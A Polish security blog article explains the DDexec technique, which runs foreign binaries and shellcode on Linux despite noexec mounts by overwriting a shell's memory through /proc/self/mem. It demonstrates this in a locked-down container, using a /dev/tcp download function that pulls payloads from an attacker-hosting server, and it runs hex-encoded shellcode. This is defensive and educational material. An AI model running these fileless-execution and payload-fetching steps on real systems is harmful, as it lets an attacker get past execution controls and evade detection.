NFsec Logo

Obchodzenie flagi montowania noexec za pomocą ddexec

27/01/2025 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 920, ilość słów: 1192)

W

systemie Linux wszystko jest plikiem. W celu uruchomienia programu w tym systemie musi on istnieć jako plik i być dostępny w jakiś sposób przez hierarchię systemu plików (tak właśnie działa execve() wykonując program, do którego odnosi się ścieżka dostępu). Plik ten może znajdować się na dysku lub w pamięci (tmpfs), ale nadal potrzebujemy ścieżki do pliku. Dzięki temu bardzo łatwo jest kontrolować, co jest uruchamiane w systemie Linux i ułatwia to wykrywanie zagrożeń oraz narzędzi atakujących. Pomaga to też w nakładaniu opowiednich praw dostępu i polityk kontroli dostępu zapobiegając nieuprzywilejowanym użytkownikom umieszczać i wykonywać pliki gdziekolwiek. Jednak technika użyta w DDexec nie uruchamia nowego procesu w danej ścieżce, ale przejmuje już istniejący.

Autor tego rozwiązania – Yago Gutierrez – tłumaczy to tak: jeśli mamy możliwość dowolnej modyfikacji pamięci procesu to możemy go przejąć. Przejęcia już istniejącego procesu można dokonać poprzez zastąpienie go innym programem. Możemy to osiągnąć, używając wywołania systemowego ptrace() (które wymaga wyższych uprawnień do wykonywania wywołań systemowych lub posiadania w systemie narzędzia gdb) lub, co jest bardziej interesujące, dokonując zapisu do pliku /proc/$pid/mem. Plik /proc/$pid/mem jest bezpośrednią mapą przestrzeni adresowej użytkownika procesu (np. od adresu 0x0 do 0x7ffffffffffff000 w architekturze x86-64). Oznacza to, że odczyt lub zapis do tego pliku w danym przesunięciu (ang. offset) “X” jest tym samym, co odczyt lub modyfikacja zawartości wirtualnego adresu “X”. Niestety rodzi to trzy podstawowe problemy do rozwiązania: 1) tylko administrator i właściciel procesu mogą modyfikować wspomniany plik; 2) zadanie utrudnia mechanizm ASLR (ang. Address Space Layout Randomization); 3) Jeśli spróbujemy odczytać lub zapisać do adresu pamięci, który nie jest załadowany w przestrzeni adresowej procesu, otrzymamy błąd I/O (wejścia / wyjścia).

Na szczęście nie jest to koniec świata mając sprytne rozwiązania: 1) większość interpreterów powłok (np. bash, ash (busybox), zsh) pozwala na tworzenie deskryptorów plików, które następnie są dziedziczone przez procesy potomne. Możemy utworzyć deskryptor wskazujący na plik mem powłoki z uprawnieniami do zapisu (exec 3>/proc/self/mem), dzięki czemu procesy potomne korzystające z tego deskryptora będą mogły modyfikować pamięć powłoki. Okazuje się, że wspomniany ASLR wcale nie stanowi problemu, ponieważ możemy sprawdzać plik /proc/$$/maps w procFS, aby uzyskać informacje o rozmieszczeniu adresów procesu. Pozostaje tylko zastąpienie funkcji “szukającej” lseek() – z powłoki można to zrobić przy użyciu kilku popularnych programów, takich jak: tail (aktualnie domyślny – then seeker=tail;), hexdump, cmp, xxd, czy słynny dd (wyboru dokonujemy poprzez zmienną SEEKER).

Kroki te są stosunkowo proste i nie wymagają jakiejkolwiek eksperckiej wiedzy, aby je zrozumieć. Rozbijamy na części składowe plik binarny i jego moduł ładujący (ang. loader), który chcemy uruchomić, aby dowiedzieć się, jakie mapowania pamięci są potrzebne. Następnie tworzymy odpowiedni shellcode, który będzie, ogólnie mówiąc, wykonywał te same kroki, które jądro wykonuje przy wywołaniu funkcji execve(). Uzyskujemy z wywołania systemowego na pliku adres, do którego powróci po wykonaniu aktualnie wykonywalnego wywołania systemowego. Nadpisujemy to miejsce (które będzie miało uprawnienia do wykonania) naszym kodem powłoki (ang. shellcode) – z racji robienia tego przez plik mem w /proc możemy modyfikować niezapisywalne strony pamięci. Następnie przekazujemy program, który chcemy uruchomić, do standardowego wejścia procesu (stdin) – będzie on odczytany funkcją read() przez nasz shellcode. W tym monecie wszystko zależy od pracy jaką ma do wykonania loader, który powinien załadować niezbędne biblioteki dla naszego programu (jeśli nie jest skompilowany statycznie) i przejść do jego uruchomienia. A i to wszystko jest realizowane jako skrypt powłoki, bo inaczej jaki byłby tego sens?

Demonstracja DDexec:

Do zademonstrowania działania mechanizmów DDexec użyjemy kontenera, który posiada zamontowany system plików w trybie tylko do odczytu (ang. readonly), a ścieżki /tmp, /var/tmp oraz /dev/shm zostały zamontowane z flagą noexec. Naszym celem będzie uruchomienie obcego pliku binarnego, który nie znajduje się w systemie. Do ściągnięcia ładunków użyjemy funkcji _onthefly. Na początku umieszczamy skrypt ddexec.sh oraz narzędzie curl (w wersji statycznej – bez bibliotek ładowanych z systemu) w formacie base64 na innym serwerze, który będzie naszym hostingem do przeprowadzania ataków:

root@stardust:/var/www# wget 'https://github.com/stunnel/.../curl-linux-x86_64-glibc.tar.xz
root@stardust:/var/www# tar -xvf curl-linux-x86_64-glibc.tar.xz
root@stardust:/var/www# base64 -w0 curl > curl_base64.data
root@stardust:/var/www# wget 'https://raw.github...com/arget13/DDexec/.../main/ddexec.sh'
root@stardust:/var/www# wget 'https://raw.github...com/arget13/DDexec/.../main/ddsc.sh'

Od strony kontenera wygląda to następująco. Upewniamy się, że jest aktywna flaga noexec w ścieżce /dev/shm:

ubuntu@9ba11a1cb0d3:/$ cd /dev/shm
ubuntu@9ba11a1cb0d3:/dev/shm$ mount | grep shm
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=64000k,inode64)

Tworzymy uniwersalną funkcję do pobierania plików z zewnętrznego serwera hostingowego:

ubuntu@9ba11a1cb0d3:/dev/shm$ function _onthefly() {
  IFS="+" read server port file <<< $(echo "$1")
  exec 3<>/dev/tcp/${server}/$port
  echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3
  (while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3
  exec 3>&-
}

Pobieramy i zapisujemy skrypt DDexec:

ubuntu@9ba11a1cb0d3:/dev/shm$ ddexec=$(mktemp -p /dev/shm)
ubuntu@9ba11a1cb0d3:/dev/shm$ echo $ddexec
/dev/shm/tmp.UWUW3WJSwS

ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+ddexec.sh" > $ddexec
ubuntu@9ba11a1cb0d3:/dev/shm$ head -5 $ddexec
#!/bin/sh

# Prepend the shellcode with an infinite loop (so you can attach to it with gdb)
# Then in gdb just use `set $pc+=2' and you will be able to `si'.
# In ARM64 use `set $pc+=4'.

Za pomocą DDexec uruchomimy teraz narzędzie curl, które wcześniej nie było obecne w systemie:

ubuntu@9ba11a1cb0d3:/dev/shm$ curl
bash: curl: command not found

ubuntu@9ba11a1cb0d3:/dev/shm$ curl=$(mktemp -p /dev/shm)
ubuntu@9ba11a1cb0d3:/dev/shm$ echo $curl
/dev/shm/tmp.9OYZq6zOZH

ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+curl_base64.data" > $curl
ubuntu@9ba11a1cb0d3:/dev/shm$ head -c 50 $curl
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA0BlAAAAAAABAAAAAAA

ubuntu@9ba11a1cb0d3:/dev/shm$ cat $curl | bash $ddexec curl -I nfsec.pl
HTTP/1.1 301 Moved Permanently
Date: Sun, 26 Jan 2025 21:08:07 GMT
Server: httpd/7.5 (OpenBSD)
Location: https://nfsec.pl/
Content-Type: text/html; charset=iso-8859-1

Jak widzimy dzięki technice nadpisania pamięci istniejącego procesu z poziomu powłoki system uruchomił obcy plik binarny mimo nałożonych restrykcji na wybraną ścieżkę.

Demonstracja DDsc:

Autor DDexec stworzył również skrypt DDsc, który umożliwia bezpośrednie uruchamianie kodu binarnego. Poniżej znajduje się przykład użycia prostego shellcode napisanego w języku Asembler, który został stworzony w następujący sposób:

agresor@stardust:~$ cat shellcode.asm
BITS 64

call below
db "Lets dig some f**king cryptoscam!", 0x0a

below:
mov rax, 1
mov rdi, 1
pop rsi
mov rdx, 34
syscall

mov rax, 60
mov rdi, 0
syscall

agresor@stardust:~$ nasm shellcode.asm
agresor@stardust:~$ hexdump -e '16/1 "%02x"' shellcode
e8220000004c6574732064696720736f6d...000005eba220000000f05b83c000000bf000000000f05

Od strony kontenera wygląda to następująco. Ściągamy identyczną techniką skrypt ddsc.sh:

ubuntu@9ba11a1cb0d3:/dev/shm$ ddsc=$(mktemp -p /dev/shm)
ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+ddsc.sh" > $ddsc
ubuntu@9ba11a1cb0d3:/dev/shm$ head -5 $ddsc
#!/bin/sh

# Prepend the shellcode with an infinite loop (so you can attach to it with gdb)
# Then in gdb just use `set $pc+=2' and you will be able to `si'.
# In ARM64 use `set $pc+=4'.

I przekazujemy zakodowany heksadecymalnie shellcode do uruchomienia:

ubuntu@9ba11a1cb0d3:/dev/shm$ shellcode=e8220000004c657473...00f05b83c000000bf000000000f05
ubuntu@9ba11a1cb0d3:/dev/shm$ bash $ddsc -x <<< $shellcode
Lets dig some f**king cryptoscam!

Oczywiście shellcode może być bardziej finezyjny i uruchamiać odwróconą powłokę, czy exploit lub tworzyć deskryptor pliku za pomocą memfd wskazujący na plik w pamięci, do którego później możemy zapisywać inne pliki binarne i je uruchamiać (oczywiście z pamięci)...

Więcej informacji: DDexec, Pure In-Memory (Shell)Code Injection In Linux Userland, Fileless malware mitigation, Write your own shellcode, Exploring Linux Memory Manipulation for Stealth and Evasion: Strategies to bypass Read-Only, No-Exec, and Distroless Environments, Stealth intrusions with DDexec-ng & in-memory dlopen()

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.